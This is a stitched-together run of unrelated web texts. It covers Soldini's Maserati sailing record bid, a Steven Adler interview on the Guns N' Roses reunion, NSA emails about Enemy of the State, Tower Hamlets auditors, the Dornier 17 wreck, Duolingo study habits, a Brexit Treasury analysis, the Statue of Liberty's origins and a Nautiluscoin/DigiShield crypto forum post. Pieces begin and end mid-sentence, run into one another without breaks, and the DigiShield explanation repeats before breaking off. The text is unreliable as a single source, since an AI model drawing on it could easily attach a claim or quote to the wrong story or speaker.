The monohull VOR70 is a far higher performer than the previous record holder. It is a Volvo 70 monohull, the fastest of its type, with a carbon-fiber honeycomb construction. These babies go for about $4 million new, but Soldini's boat, formerly the Erikson III, is a 2006 model outfitted specifically for this mission. The boat was optimized for high winds to make the fastest time. She's 70 feet long and 20 feet wide, with a mast 105 feet tall and an 18-foot keel. It sports a canting keel that pivots out of the hull to more effectively counterbalance the sails. This technology, developed in the past 10 years or so, allows for greater speed by adding power and stabilizing the boat. The sails are of Kevlar, the same stuff you find in soldiers' body armor.
Forecasting technology also advanced alongside the boats in the days since Parlier set the record, providing Soldini's crew with far more accurate data than Parlier had available. The crew relied upon laptops and a satellite antenna to download the latest weather data and images.
Still, sailing is sailing, and all the technology in the world won't make a bad crew into a good one and it can't replace the expertise of a seasoned skipper.
"The cool thing about records is they are traditional," crewmember Ryan Breymaier told Wired a few days ago, while the boat was still 800 miles south of San Francisco. "Maserati is mixing with tradition in a modern way."
And how did Maserati get involved? Soldini is friends with the top brass at Fiat Group, which owns Maserati, and he convinced him to put up the money to buy the boat. The original plan had Soldini doing the Volvo Ocean Race, but it's a much bigger undertaking, so he decided to challenge the Golden Route record.
The historic route was heavily used by clippers during the gold rush of the mid and late 1800s. It is a difficult journey that takes sailors through a variety of weather conditions, including the Doldrums and the westerly gales at Cape Horn. Flying Cloud set the record at 89 days and 8 hours in 1854, a record that stood for more than 130 years until Warren Luhrs and Thursday's Child made the journey in 80 days and 20 hours in 1989.
"It's not really the record we’re beating but the record we’re setting that counts," said Breymaier. "It will be difficult to break later on. We’re racing whoever is coming after."Earlier this week, former GUNS N' ROSES drummer Steven Adler was interviewed on "Trunk Nation", Eddie Trunk's show on SiriusXM channel Volume (106). A few excerpts from the chat follow below (transcribed by BLABBERMOUTH.NET).
On reuniting with classic GUNS N' ROSES members Axl Rose, Slash and Duff McKagan for guest appearances at several shows during the 2016 "Not In This Lifetime" tour:
Adler: "Last year was just so fabulous, because I wanted this… Everybody knows that I've been praying for this for twenty-five years for us to have a reunion. It was something that was so magical, and I'm so proud of what we did, and I'm so proud of the guys. It was just too hard last year, 'cause they'd have me come down and do just one or two songs, and it's, like, I'm standing on the side of the stage and I'm watching Frank [Ferrer, current GUNS N' ROSES drummer], who's a wonderful guy and a great drummer, play my songs when I'm standing right there. I'm going, 'Dude, why don't you fucking let me play? I'm right here! Let me play the songs.' And it was just too hard to do that. And then the South American thing, flying fifteen thousand miles for just one song each night. It was just too much. But the great part about that trip was after the second show, I put on a private show at a club called Roxy in Argentina, and we played from two to five in the morning. We had all these guitar players and different great musicians come up. We played all of 'Appetite [For Destruction]', we did 'You Could Be Mine', 'Don't Cry'… a couple of the songs that I [was] a part of writing but didn't get to play on it."
On when he was first approached about being involved with the GUNS N' ROSES reunion tour:
Adler: "Well, it was January 2, 2016, and Slash and Duff both texted me and said that they wanted to get together and talk to me. So I went down to Duff's house and we had a nice little talk. They had me sign some contract thing and whatnot just so they could talk to me, which is cool; I don't care. Then in March I came down to rehearsal, and the second rehearsal, I got a pinched nerve in my L4 in my lower back. But I was only out for ten days. By the time they did The Troubadour show, I was ready to go. I called Duff up and I said, 'Dude, I'm ready to rock. Can I do these shows?' They had The Troubadour and they had, like, seven other shows. And he said, 'No, you're not gonna be part of this.' I was, like, 'Fuck you!' and I hung up on him. And I called him back and I said, 'I'm sorry. I was just angry at myself. I feel like I ruined it for myself, and I was just saying mean things to you because that's how I felt about me.' You know, I [was] trying to move forward. And so one day, I think, like, July 3rd or July 4th, they called me and said, 'You wanna come down to Cincinnati and Nashville?' And I said, 'Yeah. When?' And they said, 'Tomorrow.' So, of course, I got on a plane, I went, I got to jam with them, and it was great. It's just not the same. I was thinking it was gonna be the same as it was twenty-five years ago, but not having Izzy [Stradlin, former GUNS N' ROSES guitarist] there, and just playing one or two songs, it was very hurtful and heartbreaking for me. And Richard [Fortus, current GUNS N' ROSES guitarist] is a phenomenal guitar player — he's a great guitar player — and the crazy thing is, from ten feet away, he fucking looks like Izzy. And they asked me to go to… they said either Japan or Australia or Thailand, and I said I'm not gonna fly twenty thousand miles to play one or two songs. It's just too much."
On whether he was being paid for his guest appearance with GUNS N' ROSES:
Adler: "Oh, yeah. They gave me a couple of bucks. They're good guys with that. But still, to be on the side of the stage and to watch somebody else play the songs, it's heartbreaking."
On why he thinks he wasn't allowed to play more songs and at more shows:
Adler: "Dude, I was in Argentina. Why would they let me play [only] one song? I have no idea. And out of respect for Fernando [Lebeis, who is part of GUNS N' ROSES' management team], I have nothing negative to say, 'cause I was just so glad to be able to do it. And even though it wasn't what it could be and should be, I got closure. And I feel so much better — like there's a billion-ton weight lifted off of me, where I can move forward again. I can play with other people, I can do other things, and it's the greatest thing. I've been practicing the four agreements [essential steps on the path to personal freedom] for the last three years, and it's changed my life. I'm a totally happier person. I'm the person when I was young, a teenager, and excited, and had dreams and goals and wanted to do things. And I like it. Before, all I wanted to do was do a fucking reunion. And I got to do what I got to do, and I'm thankful for that."
On whether he ever asked the GUNS N' ROSES management team why he couldn't play more songs:
Adler: "Of course! I'd start playing another fucking song, and they'd tell me to get off. They'd say, 'Okay, you're done.' And I'd start playing another song, and they'd just turned the sound of. 'Beat it. You're done.' I was, like, 'Okay. Cool.' I got to do that. It's better to have loved and lost than never to have loved at all, and I got to rock with those guys. And I love Slash and Duff and Axl, and I got to meet some great people that are working with them. And Fernando, who is GN'R's main guy, he's got some good ideas for hopefully this summer, for the thirtieth anniversary [of 'Appetite For Destruction'] in July, something for the fans. I don't know what it is, but he's a good guy, and I think he's gonna do the right thing… And there never will be an explanation [for why I can't play more songs with them]. It is what it is, and that's that."
On what it was like seeing Axl Rose for the first time after he came down to play with GUNS N' ROSES in Cincinnati last July:
Adler: "I only talked to Axl for literally ten seconds. The first night I played with them in Cincinnati, I got a fistbump and a little smile, and that was good enough for me. And then at Dodger Stadium [in Los Angeles], I got to give him a little hug and shake his hand and say I love him and he fucking rules and 'thank you so much for giving me this opportunity. I had the greatest time.' And he walked on his way. And I went on with my life. And I've been enjoying it ever since. He's Axl. He does his show and he gets so passionate and such emotion that he really just needs to relax and come down for at least an hour, 'cause he is a monster on stage. And he puts out so much feeling that he becomes those songs. And he's been fabulous at it. And Slash and Duff are so much fun. When we're together at soundheck, the crew was all, 'Jesus Christ! You've gotta come down more, 'cause the only time these guys ever smile or have fun is when you're here.' And I was saying, 'I would love to.' But it is what it is."
On why he thinks Izzy Stradlin hasn't gotten involved in the GUNS N' ROSES reunion at all:
Adler: "Because he wants to do it like me — the right way or not at all. And the reason I did it and needed to do it was because I got kicked out of the band for reasons I still don't know. To say that I'm a drug addict in that band and getting kicked out for drugs is ridiculous. They were doing drugs way more than me, so it's like calling the kettle black. But it was different stuff. Axl wanted more control of the thing. Then he wanted control of Izzy, and then he wanted control of Slash and Duff, and so one at a time everybody left until it was the Axl Rose band. But he still called it GUNS N' ROSES. And I don't blame him — I would too, 'cause that name is worth billions. So I'd use it if I could myself. [Laughs] I'd get Steven Tyler to sing though. [Laughs] Like I said, [Izzy] wants to do it the right way, with the five of us, and I needed to do it, because I neeed closure. I got kicked out, and all of a sudden… I had a road crew, I had management, I had accountants, I had stage people, I had a band, and then one day, literally in one afternoon, I had nobody — I was all alone. And I was scared shitless. I didn't know what to do. What do I do? All I knew was what I was doing. And then I was left all alone. So being able to at least play the one or two songs at the five shows I did was severe closure for me."
On whether he is open to playing with GUNS N' ROSES again:
Adler: "If we did it the right way, yes. I can't watch somebody… I will share the stage with Frank any day. I'll do the 'Appetite' stuff, which is the great stuff anyways and the fun stuff anyways, and I'll do the 'Lies' stuff, I'll do a couple of 'Illusions' [songs], and let Frank, in the middle of the set, play the 'Chinese Democracy' stuff, some of the 'Illusions' stuff. If we split it, I wouldn't mind sharing the stage with him at all. I mean, if that's what it came down to, I'm cool with that. He's a great guy. [But] I can't [just play one or two songs per show anymore]. It's just too hard. It's too hard. I wanna play more, and I want Izzy to be there. It was the five of us that made magic, and I know we can make that magic again, 'cause it's just who we are. Even though we're twenty-five years older, I know if we got in a room together and started playing, it would be fucking magic."
On whether he would be able to step up and play a full two-hour show with GUNS N' ROSES, if asked, at this point:
Adler: "Oh, God, yes. I wanted to push Frank down the stairs one night, but he's too much of a great guy. I can't do it. I can't push him down the stairs. I'll get my shot this way. One way or another, I'm getting up there and playing more songs. Somebody's going down, and it ain't gonna be me."
On whether he ever rehearsed with the full band at any point:
Adler: "No. Just those two rehearsals before I hurt my back, and that was just with Slash and Duff. Richard wasn't even there."
On whether he had any interaction with the other guys and gals in the band — Dizzy Reed (keyboards), Melissa Reese (keyboards) and Richard — before he walked out on stage with GUNS N' ROSES in Cincinnati:
Adler: "Oh, dude. The reason they fit perfect in that band is 'cause they're like fucking ghosts. 'Cause Axl doesn't wanna see nobody. I would walk into the studio, I'd say hi to them, and then I'd turn around, and they'd be gone. And then when I was done playing, all of a sudden, [they'd be there] again. And I'm, like, 'Where did you go?' Very nice people — very quiet, just the way Axl likes it: nice and quiet."Released Documents Show NSA Actually Surprised To Find Itself Portrayed Negatively In Popular Culture
from the we're-just-massive-dragnet-deployers,-not-murderous-goons! dept
The NSA may know lots of stuff about lots of people, but it's still fairly clueless about how the world works. Documents obtained by Buzzfeed's Andrew Kaczynski show the NSA was shocked to find it hadn't been portrayed more favorably in a major motion picture.
The National Security Agency attempted a public relations makeover in 1998 via the Jerry Bruckheimer–produced spy thriller Enemy of the State, but the agency was disappointed it was portrayed as the “bad guys” in the film, internal emails between agency officials obtained by BuzzFeed News through the Freedom of Information Act show.
One employee wrote in 1998, “Unfortunately, the truth isn’t always as riveting as fiction and creative license may mean that ‘the NSA,’ as portrayed in a given production, bears little resemblance to the place where we all work.”
“I was standing in the parking lot staring like an idiot, wondering why this helicopter with some strange object underneath it was hovering over me,” one employee complained after a production helicopter flew above the agency to get establishing shots. “Will Touchstone be getting in touch with me so I can get paid for my appearance in this movie? Because I have no intention of allowing my image to be used for free,” the employee concluded, unaware of public access laws…
One employee fretted that their car would now be seen in the film, while another complained that his window blinds were up during filming.
Even in the halcyon pre-Snowden days, it was unlikely a massive government spy agency would be depicted as "lawful neutral," much less "good" in any form of entertainment media. Shadowy agencies make for great conspiracy theories and potentially riveting entertainment (as for "Enemy of the State," YMMV…). Certainly, it's unlikely that the NSA would kill a congressional representative for opposing surveillance expansion and it probably doesn't have any "goons" to send out to intimidate witnesses (that's more of a CIA thing...). But for the NSA to expect it would be portrayed as the heroes -- despite holding meetings with the producers before the film's release -- is a pretty good indication of how isolated it is from the general public.This brief burst of reality led to a facesaving effort by the NSA, spearheaded by Michael Hayden, who invited CNN to profile the agency to counteract the negative portrayal. Fighting pop culture with pitched puff pieces is a terrible way to rehabilitate a reputation, but that's the NSA for you. It's never going to win hearts and minds. (I was originally going to add some qualifiers to the previous sentence but couldn't find any that worked.) Any effort expended in this area is wasted.Even more hilarious than the NSA's dismay at this completely predictable pop culture portrayal is its employees' complaints about violated privacy.Yes, you can fly an aircraft over the NSA headquarters and no one can do anything about it. As long as you follow the FAA guidelines, you can capture establishing shots or vehicles in the parking lot or any "idiot" staring at your aircraft. The NSA is not a military base and very little about what goes on inside can be determined from 500 feet above the building.Still, as Kaczynski notes, the negative portrayal of the agency and the intrusion of unwanted aerial "surveillance" did little to stifle employee enthusiasm for the upcoming film. Unfortunately, the released documents do not contain post-viewing comments from NSA staff after they'd shelled out $5 for the dubious privilege of watching their big screen counterparts murder a congressman and intimidate a witness.
Filed Under: culture, enemy of the state, nsa, pr, propaganda, surveillance8.15am…This has just come to me. At 8am this morning a number of specially appointed auditors from PriceWaterhouseCooopers arrived at Tower Hamlets town hall in Mulberry Place on the express orders of the Department for Communities and Local Government.
Eric Pickles has heard enough and he has now put his words into action.
Officials at DCLG have been watching Tower Hamlets extremely carefully for many months, amassing their own evidence.
The BBC Panorama documentary on Monday was the final straw. Evidence amassed from that programme, and not just that relating to the broadcast itself, is also being examined.
I understand PwC’s people are taking away boxes of files relating to the grants process and the disposal of assets, probably including the sale of Poplar Town Hall.
Mayor Lutfur Rahman is due to hold an anti-Panorama rally in Stepney on Saturday. I suspect the tension will be ratcheted up.
More on all this later, but spare a thought for interim officer Meic Sullivan-Gould, who’s missing all this fun having flown to Japan…where they know what to do in these sorts of circumstances…
I’ve written a more detailed account for Express.co.uk here.
And here are the letters sent from DCLG to the council and PwC.
AdvertisementsThe discovery of a unique German warplane off the Kent coast left experts "incredulous". New images suggest the Dornier 17 is still intact and there are hopes that it will go on show.
They called it "the flying pencil": a slim, elegant aircraft originally designed in 1934 to carry passengers, which by the start of World War II had been converted into a deadly weapon of war.
The Dornier 17 was one of the mainstays of the Luftwaffe bombing fleets which began their assault on British cities and RAF airfields in the summer of 1940, in what became known as the Battle of Britain.
A total of 1,700 Dorniers were built, but the plane discovered in Goodwin Sands is thought to be the last remaining one.
Dornier 17 Z-2, serial number 1160, of number 7 squadron, 3 Group, third Bomber Wing, was shot down on 26 August 1940 and made an emergency landing in the sea just off the Kent coast.
Two of the four crew members died, two - including the pilot - survived to become prisoners of war.
'Still intact'
It's one of the most significant aeronautical finds of the century Ian Thirsk, RAF Museum
The wreck of the plane sank some 50 ft (15.24m) to the bottom, turning turtle as it did so, and came to rest on its back on the notoriously shifting Goodwin Sands, which soon covered it.
Last month, a team on board the Port of London Authority (PLA) vessel, Yantlet, set out from Ramsgate to survey the wreck using the latest high-tech sonar equipment.
The survey confirmed an earlier finding that the plane has now been uncovered by the sand, as 70 years of time and tide have done their work.
"The really good news today is that we've got some very clear imagery," said John Dillon-Leetch, the PLA's deputy port hydrographer.
"The wreck is there. It seems to be still intact, and we'll find out more information over the next few days as we process and look down deeper into the data we have."
The BBC has been given exclusive access to the resulting 3D images, which are startling in their clarity.
Image caption The Dornier 17, known as the flying pencil, were employed by the Luftwaffe during the Battle of Britain
The most important thing they show is that the aircraft's structure suffered no catastrophic damage during its final landing. The Dornier is largely intact, except for damage to the forward cockpit and observation windows.
The survey was carried out for the RAF Museum at Hendon in North London. The museum's head of collections, Ian Thirsk, was on board the Yantlet.
When he first learnt of the plane's existence he was, he says, "incredulous".
"This aircraft is a unique aeroplane and it's linked to an iconic event in British history, so its importance cannot be overemphasised, nationally and internationally. It's one of the most significant aeronautical finds of the century."
Very few Dorniers survived the war.
"They were either all shot down or they were scrapped. After the war the German people didn't want to remember, so aircraft like that were destroyed," he says.
New display
Some continued to fly with the Finnish airforce until the early 1950s, but they too were eventually scrapped.
The plan now is to raise the aircraft and put it on show at Hendon.
Dornier 17 Known as 'The Flying Pencil'
Originally designed in 1934 to carry passengers
Became a mainstay of the Luftwaffe bombing fleets
About 1,700 were built
Twin engine, twin fin configuration
Most numerous model was the Dornier 17 Z
Dornier 17 Z had a wingspan of 59ft (18m), and a length of 52ft (15.8m)
The maximum bomb load of the Dornier 17 Z-2 was slightly over 2,000lbs
The museum, which is funded by the Ministry of Defence, is bidding for cash from heritage organisations to cover the costs.
The work has become urgent because recreational divers have now discovered the wreck and already souvenir hunters have started taking bits of it to the surface. In doing so they risk prosecution, since the wreck is MoD property.
Though the museum has complete examples of the other German bombers that took part in the Blitz, including a Heinkel 111 and a Junkers 88 - as well as fighter aircraft like the Spitfire, Hurricane and Messerschmitt 109 - it has only a few Dornier fragments salvaged from wrecked aircraft.
The salvaged plane will form part of a new Battle of Britain Beacon display which will replace the museum's present gallery devoted to the battle.
But though the wreck will be conserved it will not be restored to its original appearance.
That, says Mr Thirsk, would involve so much work and replacement of damaged parts that the result would be nothing more than a replica.Roughly 1.2 billion people worldwide are currently learning a foreign language. If you are one of them, this article is for you.
Whether you are learning to improve your job prospects, do better in school, get ready for a trip abroad or even just for fun, there are three common habits that all successful language learners share. We analyzed data from millions of Duolingo users and, in the process, discovered what it really takes to grasp a foreign tongue.
Learning a language is a lot like losing weight (sort of)
Some language-learning services claim to be so effective that you’ll be fluent in weeks — or even overnight (yeah, right!). Others claim to make you fluent by passively listening. We are more realistic: science and personal experience indicate that most people need time to become proficient in a second language. So what does it take to be successful in the long run?
It might help to compare language-learning with losing weight and staying fit. Can you lose 50 pounds overnight? Fat chance. Over the course of several months? Much more realistic.
Just as you need exercise and a healthy diet to get fit, you need to develop a habit of regular study and review in order to stick with learning a language and succeed in the long run. And just as it’s helpful to know what types of foods and exercises are best for staying healthy, it’s important to know what types of learning habits are best for long-term language-learning success.
More than 150 million people across the world use Duolingo to learn languages, many of them with their phones and tablets during breaks and daily commutes. From these activities, we have gathered a tremendous amount of data about learning and behavior patterns. Here is some of what we have learned about the best habits for being a successful language learner.
Habit No. 1: weekends-only and 9-to-5 don’t cut it
One of the best predictors of long-term success is doing something on a regular basis. Language learning is no different. In particular, Figure 1 shows that most people who stick with language learning in the long run make sure to spend a few minutes practicing every day or two. On the other hand, people who slip to every 5 or 6 days are much more likely to give up altogether. Figure 2 shows that successful learners also complete considerably more sessions per week, meaning they spend a good amount of time studying.
We also identified “clusters” of usage patterns, such as “weekenders” who only use the app on weekends, or “nine-to-fivers” who only study during the week during typical work hours. Figure 3 shows that people in these usage clusters exhibit lower language ability (in terms of a psychometric analysis called IRT) than people who use the app almost daily. What’s more, people in a different cluster of users who study “daily, at bedtime” even seem to reach a slightly higher proficiency. This finding is consistent with laboratory research about the effect of sleep on improved language learning.
Especially when you are just starting out, it’s worthwhile to develop a daily routine and study a few times a day to keep your memory fresh. Our data suggest that you’re more likely both to stick with it and to learn more in the long run. And if you can make it a bedtime habit, even better!
Habit No. 2: don’t binge study
The second habit of successful language learners is that they don’t binge. Instead, they develop a habit of distributed practice, or a number of short study sessions over a longer period of time. To illustrate this, Figure 4 shows the variation (relative standard deviation) in the number of daily sessions. For successful learners, this variation is lower, which means they do a more consistent number of lessons and practice sessions every day. Higher variation, on the other hand, means users pop in every now and then for a marathon to play catch-up. These binge studiers are more likely to give up.
Many psychology studies have also shown that cramming material into a shorter time frame reduces learning, compared to distributed practice. This is true for all kinds of skills, from learning a language to throwing a ball, playing a video game or flying an airplane (see this article for a meta-analysis of decades of research on this topic). To master a language, you are better off studying a consistent amount — no matter how small — as regularly as possible. Bonus: You’ll probably stick with it and learn more, too.
Habit No. 3: review, review, review
It can be tempting to plow ahead and learn as much new material as you can, especially when the experience of learning a language feels like a game. However, any student of a second language knows that you gradually forget what you learned over time (do you still remember the subjunctive mood you learned in high school Spanish?).
More than a century of psychology research on the so-called spacing effect and lag effect tells us that you are more likely to remember ideas and concepts if you regularly review old material. This helps the knowledge work its way from your short-term memory into your long-term memory.
Use “strength meters” to gauge when to practice old material.
But how do you know when to practice old material? When your language skills are at “full strength,” you should focus on learning new things. The best time to review is when you’re on the verge of forgetting, so if the meter for a previously learned skill drops to the halfway mark, it’s time to practice it. We even show users which words are the weakest, and provide a one-click “Practice Weak Skills” button, which automagically finds the skills you need to practice the most.
Figures 5 shows that successful language learners strike a better balance between lessons (learning new material) and practice (reviewing older material) than the people who ultimately give up.
Our research team puts a lot of effort into our “spaced repetition” techniques, which aim to accurately measure how likely you are to remember a given word or grammar concept at any time. We published a scholarly article last year about a method we invented called half-life regression, and we continue to improve these techniques with new data every day. This technology helps us to help you review the right language concepts at just the right time.
So, there you have it: Study regularly, don’t binge and review the concepts you are rusty on. Don’t worry if it takes time; in fact, language learning should take time. ¡Buena suerte!
This article originally appeared in TechCrunch Japan.Image copyright Getty Images
When I asked Christine Lagarde about the fact that the International Monetary Fund had been wrong in the past about its forecasts for the British economy, she gave a disarming response.
"Yes, on occasion we have been wrong," the managing director said earlier this month.
Forecasts are just that, after all - forecasts.
But, she continued, when it comes to the possibility of Britain leaving the European Union, "We can't see anything that is positive."
It is a similar story today with the Treasury's "short-term" economic impact report on what government economists believe would be the effect on the economy if voters plumped for Leave on 23 June.
Yes, forecasts can be wrong, but, using well-tested economic models, it is the Treasury's analysis that the downsides far outweigh any benefits.
And, to be accurate, this is actually a "gap analysis", rather than a forecast - that is, it is a judgement on the difference in economic activity between two comparable scenarios (Remain and Leave).
Such gap studies are widely viewed by economists to be at the more robust end of modelling tolerances.
The model used is known as a vector auto-regression, which has been used here to look at the effect of "uncertainty" on issues such as business investment and household borrowing on economic performance.
That is then allied to a "gravity model", which judges the trading relationship between nations and the effect those relationships have on growth.
The more uncertainty there is and the more barriers that are thrown up to free trade, the more negative the impact, the model suggests.
The government believes that the UK would not be able to gain better access to the EU if it were outside the union and more specifically, the single market.
It also says that uncertainty would fundamentally undermine investment.
In that assessment, it finds allies in the IMF, the Bank of England, the London School of Economics and the National Institute of Economic and Social Research.
It should be pointed out that all use similar models, or indeed the same model, to test the figures.
The Leave campaign is quite right to point out that models can be wrong, as they were ahead of the UK's expulsion from the exchange rate mechanism.
Then, the models suggested that growth would collapse, unemployment would rise and inflation would spike.
In the event, the UK economy did suffer a shock, but it wasn't of the calamitous variety.
It was of the "shot in the arm" variety - Britain is a relatively deregulated and open economy - and marked the start of nearly two decades of uninterrupted growth.
Campaigners for Leave believe the same could be true of leaving the EU, which would, according to supportive economists, mean cheaper food and manufactured goods, to give one example.
That's because Britain would be outside what Prof Patrick Minford, of Cardiff University, describes as the "customs union" - the tariffs the EU imposes on goods coming into the single market.
Better free trade agreements could also be signed, Prof Minford believes, with countries which are becoming more and more important for British exports, such as the US and China.
There are many genuine economic disagreements between Remain and Leave, often based on legitimate points of view held by serious economists.
Certainly, the weight of economic opinion as expressed by leading organisations, as I have said before, is in favour of Remain.
And Prof Sir Charles Bean, the former deputy governor of the Bank of England, describes today's Treasury's document as "reasonable".
Sometimes this debate can feel a little like "my plague of frogs is worse than your plague of frogs".
And we could all be forgiven for becoming a little fed up with politicians shouting at each other, particularly when they claim, as the prime minister did today, that "this is what happens" to the economy, without a nod to "coulds" or "maybes".
These are forecasts, not definitive outcomes.
But, political hubris to one side, today's Treasury analysis can be set apart from the "he said, she said" tenor of much of the EU referendum debate.
It is based on a well understood and tested economic model.
It might be wrong, or the outcomes might be substantially different once real events take hold - as is true of all forecasts - but it is very much worth the paper it is written on.CLOSE A historian says that the Statue of Liberty is an Arab. Oh the irony. USA TODAY NETWORK
This May 20, 2009 file photo shows the front of the Statue of Liberty during a media tour to the crown in New York. (Photo11: TIMOTHY A. CLARY, AFP/Getty Images)
As Americans grapple with President Trump's ban on travelers from seven Muslim-majority countries, it's a good time to point out a little-known irony. The Statue of Liberty — that symbol of American freedom and diversity that has greeted immigrants for generations — was originally modeled after an Arab woman.
The statue's designer, Frédéric-Auguste Bartholdi, was enamored with Egyptian pyramids and monumental sculpture. According to historian Edward Berenson, in the 1860s, Bartholdi decided to build a monument to commemorate the opening of Egypt's Suez Canal.
"And that monument was going to be a woman in the southern opening of the canal holding up a torch over her head and that woman was dressed in Arab peasant garb,” Berenson says. But when the ruler of Egypt, Khedewi Ismail Pasha, went bankrupt, the colossal Suez sculpture project was jettisoned.
But the artist soon found a way to recycle his design. “A couple of years earlier, Bartholdi and his friends decided they were going to give a gift to the United States that was going to celebrate the centennial of the American Revolution,” Berenson explains. “And then, Bartholdi thought, ‘Ah! I’ve got a great idea! I can reuse this image but change it to fit the American Revolution.’”
Bartholdi changed the woman that was originally dressed in Arab garb into a Greco-Roman goddess of liberty. And the Statue of Liberty, as we know her today, was born.
This article originally appeared on GlobalPost and Pri.org. Its contents were created separately to USA TODAY.
MORE FROM PRI.ORG:
CLOSE In the wake of President Donald Trump's executive order on immigration Friday, many critics quickly took up a familiar rallying cry, lifting words from the Statue of Liberty that have for decades represented American immigration |
rates is about $18. If miners decide to sell and the rate drops to 0.0001 BTC then I am only collecting $9, leaving me on the hook for $11 per shirt. I am willing to take this risk because I am trying to illustrate why a reasonably stable rate is needed.Mrs. BK tells me I don't always explain what is going on inside my head, so I hope this helped more than confused-BKDigishieldDigishield and latest updates were provided by the Digibyte team.Brian Kelly is founder and managing member of Brian Kelly Capital LLC, a global macro investment firm catering to high net worth individuals, family offices and institutions. He is also the creator of the BKCM Indexes, benchmarks for multi-asset money managers.He has more than 19 years' investment experience trading U.S. and international equities, foreign currency, options, futures, metals and commodities. He has traded for many of the largest hedge funds, pension funds and mutual funds. Prior to BKCM, he was co-founder and managing partner of Shelter Harbor Capital LLC and managed the Shelter Harbor Capital Global Macro Fund. He was also co-founder and president of MKM Partners, a brokerage firm catering to institutional investment managers.He graduated from the University of Vermont, where he received a B.S. in finance. He also holds an MBA from Babson Graduate School of Business with a concentration in finance and econometrics.Kelly is a CNBC contributor and can be seen regularly on the show "," "," "" and "."Creating a cryptocurency has been a trial and error experience. The original version of the coin had older code and wasn't sufficient to compete in this evolving environment. However, with the help of the good people at Austin Global and Digibyte we believe we've got the best.I selected the name Nautilus based on how they grow at a consistent rate over time and their protective powerful shells. With this coin's unique idea of a stabilization fund and top notch developers supporting it's shell, we think it's the perfect fit for this coin.Coming Soon
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DigiByte
Offline
Activity: 1568
Merit: 1051
Official DigiByte Account
LegendaryActivity: 1568Merit: 1051Official DigiByte Account Re: [ANN] [PHI} Nautiluscoin - First Coin w/Stabilization Fund - Digishield May 01, 2014, 12:16:02 PM #12 Quote from: acdc on May 01, 2014, 11:55:54 AM Can you explain more details about how Digishield works?
DigiShield re-targets a coins difficulty to protect against multi-pools and an over-inflation of easily mined new coins. DigiShield was originally developed for DigiByte, but has since been implemented into Dogecoin and will soon be implemented into more coins including Nautiluscoin. DigiShield re-targets a coins difficulty between every block or in the case of DigiByte & Dogecoin, every 60 seconds.
We created DigiShield after seeing the threat that multi-pools pose to a crypto currency when they start mining a coin at a very low difficulty in relation to their net pool hash. This allows many coins to be quickly and easily mined before the difficulty increases. Once the difficulty increases the multi-pool leaves a coin, dumps the coins on the market, and then leaves the dedicated existing miners with a very high difficulty and very few new coins to be mined. This leads to a drop in price and frustration among the committed community members & miners of the affected coin.
DigiShield protects DigiByte against this threat and helps ensure greater confidence in any coin that implements it by allowing the difficulty to rise and fall almost perfectly in sync with increases or decreases in the net hash of a coin. The secret to DigiShield is an asymmetrical approach to difficulty re-targeting. With DigiShield, the difficulty is allowed to decrease in larger movements than it is allowed to increase from block to block. This keeps a blockchain from getting "stuck" i.e., not finding the next block for several hours following a major drop in the net hash of coin. It is all a balancing act. You need to allow the difficulty to increase enough between blocks to catch up to a sudden spike in net hash, but not enough to accidentally send the difficulty sky high when two miners get lucky and find blocks back to back. The same thing occurs with difficulty decreases. Since it takes much longer to find the next block, you need to allow it to drop quicker than it increases.
The KGW (Kimoto Gravity Well) and Earthcoin approaches to difficulty re-targeting are not as effective as DigiShield in protecting against multi-pools. We conducted extensive testing over a five day period and found that an asymmetrical approach was much more effective than the KGW approach. We found that the difficulty needed to be able to decrease by a larger magnitude than it was allowed to increase. When the difficulty was allowed to increase or decrease at the same rate with larger orders of magnitude, some very bad oscillations occurred along with some crazy high difficulties when two lucky blocks were found quickly back to back. The asymmetrical adjustments keep the difficulty from going too high too fast, but allow it to drop much quicker after a large hash down swing as it takes a much longer time to discover the next two blocks for the difficulty adjustment to occur.
Both the KGW and Earthcoin approaches to difficulty re-targeting still allow multi-pools a few minutes of easy mining. For example, Earthcoin still gets hit my multi-pools for 11-12 minutes at time. Both approaches limit the amount the difficulty is allowed to change between blocks, which can become a big issue when a sudden hash decrease occurs. While simulating a sudden 10-20 fold hash decrease, KGW can become "stuck" for several hours before the next few blocks are discovered and the difficulty evens out again. The same issue exists with the Earthcoin approach. It can get "stuck" for 20-40 minutes following an 11 minute hash increase from a multi-pool attack. We know a 10-20 fold hash increase is unusual, but it is possible, especially as cryptocurrencies become better known. More than likely, we will only ever see more than a 5-10 fold increase. Nonetheless, we wanted to develop something that protected against even the most unlikely of hash jumps to ensure that we could handle sudden extremes very quickly.
In summary DigiShield is a balanced asymmetrical approach to difficulty re-targeting. You don't want to let the difficulty go too high too fast, but you need to give it enough room to catch up quickly. The same thing goes with down swings, since it takes longer to discover new blocks you need to give it more room to go down, but not enough to send it to the floor. DigiShield is by no means the absolute "perfect" solution to the multi pool/ difficulty problem, but after testing dozens of different setups over a five day period including KGW and the Earthcoin approach, the current ratios/ settings in DigiShield out performed any other solution available at the moment.
The DigiShield code can be found here between lines 833 & 1007:
https://github.com/digibyte/DigiByteProject/blob/master/src/main.cpp
Take a look at the Dogecoin difficulty chart:
http://www.coinwarz.com/difficulty-charts/dogecoin-difficulty-chart.
You can see how multi-pools have really been mining most of the coins and leaving the dedicated Doge miners to pick up the slack and get the short end of the stick when it comes to new coins. You can also see when DigiShield took effect and that no longer occurs.
Now take a look at the chart for DigiByte:
http://www.coinwarz.com/difficulty-charts/digibyte-difficulty-chart.
You can see how we would get "stuck" after a multi pool left us and it would take several hours more than our 2.4 hour re-target before the difficulty came back down. Had we not implemented DigiShield when we were hit with the 1 GH - 8GH increase we might have been "stuck" for a day or more. See how quickly the pool hit us and left, and more importantly see how fast the difficulty decreased back to normal levels? Since DigiShield went into effect, you can see how quickly multi-pools hit us and leave, whereby they mine considerably less coins now, upwards of 50-80% less. DigiShield re-targets a coins difficulty to protect against multi-pools and an over-inflation of easily mined new coins. DigiShield was originally developed for DigiByte, but has since been implemented into Dogecoin and will soon be implemented into more coins including Nautiluscoin. DigiShield re-targets a coins difficulty between every block or in the case of DigiByte & Dogecoin, every 60 seconds.We created DigiShield after seeing the threat that multi-pools pose to a crypto currency when they start mining a coin at a very low difficulty in relation to their net pool hash. This allows many coins to be quickly and easily mined before the difficulty increases. Once the difficulty increases the multi-pool leaves a coin, dumps the coins on the market, and then leaves the dedicated existing miners with a very high difficulty and very few new coins to be mined. This leads to a drop in price and frustration among the committed community members & miners of the affected coin.DigiShield protects DigiByte against this threat and helps ensure greater confidence in any coin that implements it by allowing the difficulty to rise and fall almost perfectly in sync with increases or decreases in the net hash of a coin. The secret to DigiShield is an asymmetrical approach to difficulty re-targeting. With DigiShield, the difficulty is 